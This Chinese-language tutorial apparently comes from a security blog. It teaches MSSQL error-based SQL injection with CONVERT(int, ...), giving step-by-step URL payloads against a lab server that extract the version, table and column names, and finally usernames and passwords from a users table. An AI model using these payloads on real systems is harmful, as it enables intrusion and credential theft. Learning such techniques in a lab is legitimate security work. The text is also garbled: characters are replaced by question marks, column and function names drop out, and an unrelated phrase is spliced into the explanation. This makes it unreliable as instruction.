簡介
今天主要分享下sql注入中的報錯型,在大多網上的文章會列出類似于公式的句子,卻沒解釋為什么要使用這樣的函數,為什么使用這個函數會出現報錯而導致sql注入。
()函數,()函數是把?期轉換為新數據類型的通?函數。
語法:
CONVERT(data_type(length),data_to_be_converted,style)
注釋 :
data_type(length) 轉換為?標數據類型(帶有可選的長度)。
data_to_be_converted 含有需要轉換的值。
style 規定?期/時間的輸出格式。
復制
?例:
CONVERT(VARCHAR(19),GETDATE())
CONVERT(VARCHAR(10),GETDATE(),110)
CONVERT(VARCHAR(11),GETDATE(),106)
CONVERT(VARCHAR(24),GETDATE(),113)
復制
結果類似:
Dec 29 2008 11:45 PM
12-29-2008
29 Dec 08
29 Dec 2008 16:25:46.635
復制
原理
對于 (int,@@),函數?先會執?第?個參數指定的SQL查詢萬能數據庫注入插件,然后嘗試將查詢結果轉換為int類型。但是,由于這個SQL查詢的結果是類型萬能數據庫注入插件,?法進?指定的轉換,所以,函數會拋出 ?個SQL 錯誤消息,指出“SQL查詢結果”?法轉換為“int”類型,這樣的話,攻擊者就能得到的這個SQL查詢的結果了。
滿?條件的函數還有很多:
convert()
file_name()
db_name()
col_name()
filegroup_name()

object_name()
schema_name()
type_name()
cast()
復制
注?流程查詢基本信息
convert(int,@@version) 獲取版本信息
convert(int,db_name()) 數據庫名字
convert(int,user) 當前?戶名
convert(int,@@SERVERNAME) 獲取有關服務器主機的信息
復制
獲取版本信息
http://192.168.159.135:8080/get.aspx?id=convert(int,@@version)
復制
注意在這里我們直接吧函數放到 id= 的后面,因為 id=1 查詢的是整型(int),而我們的 (int,@@) 獲取到的版本信息是字符型,所以他就會報錯,從而爆出版本信息!
或者也可以使用這條語句也能實現上面的查詢結果:
http://192.168.159.135:8080/get.aspx?id=1 and 1=(convert(int,@@version))
復制
獲取當前數據庫的表名
CONVERT(int,(select top 1 table_name from information_schema.columns))
復制
http://192.168.159.135:8080/get.aspx?id=CONVERT(int,(select top 1 table_name from information_schema.columns)
復制
我們獲取到了當前網站數據庫的表名是:users!
獲取列名
convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16進制的表名 as varchar)))
復制
http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7573657273 as varchar)))
復制
這樣我們就獲取到了第一個列名 id!
那么想要獲取第二個列名我們就可以再后面加一個條件語句:and != 'id'
http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7573657273 as varchar) and COLUMN_NAME != 'id'))
復制
這樣我們就獲取到了第二個列名: !
想要獲取第三個也是以此類推加條件語句:and != ''
http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7573657273 as varchar) and COLUMN_NAME != 'id' and COLUMN_NAME != 'username'))
復制
這樣我們就獲取到了第三個列名 !
獲取數據
我們按照上面的順序獲取到了網站的表名:users,列名有:id、、。很明顯賬號密碼就在列名的、,那么我們就可以獲取數據了:
convert(int,(select top 1 列名 from 表名))
復制
http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 username from users))
復制
獲取到了第一個列名的第一個數據:saul!
如果想獲取到 里面的第二個數據那么就加一個條件語句:where !='saul'
http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 username from users where username!='saul'))
復制
這樣就獲取到的 的第二個數據!想要獲取第二個就以此類推!
既然 我們獲取到了兩個:saul、admin!那么我們就要獲取到他們的密碼了!
http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 password from users))
復制
獲取到第一個 列的值為:!
想要獲取下一個就加一個 where 條件語句:where !=''
http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 password from users where password!='saul520'))
復制
這樣就獲取到了第二個的數據了!
至此Mssql的報錯注入就到此為止!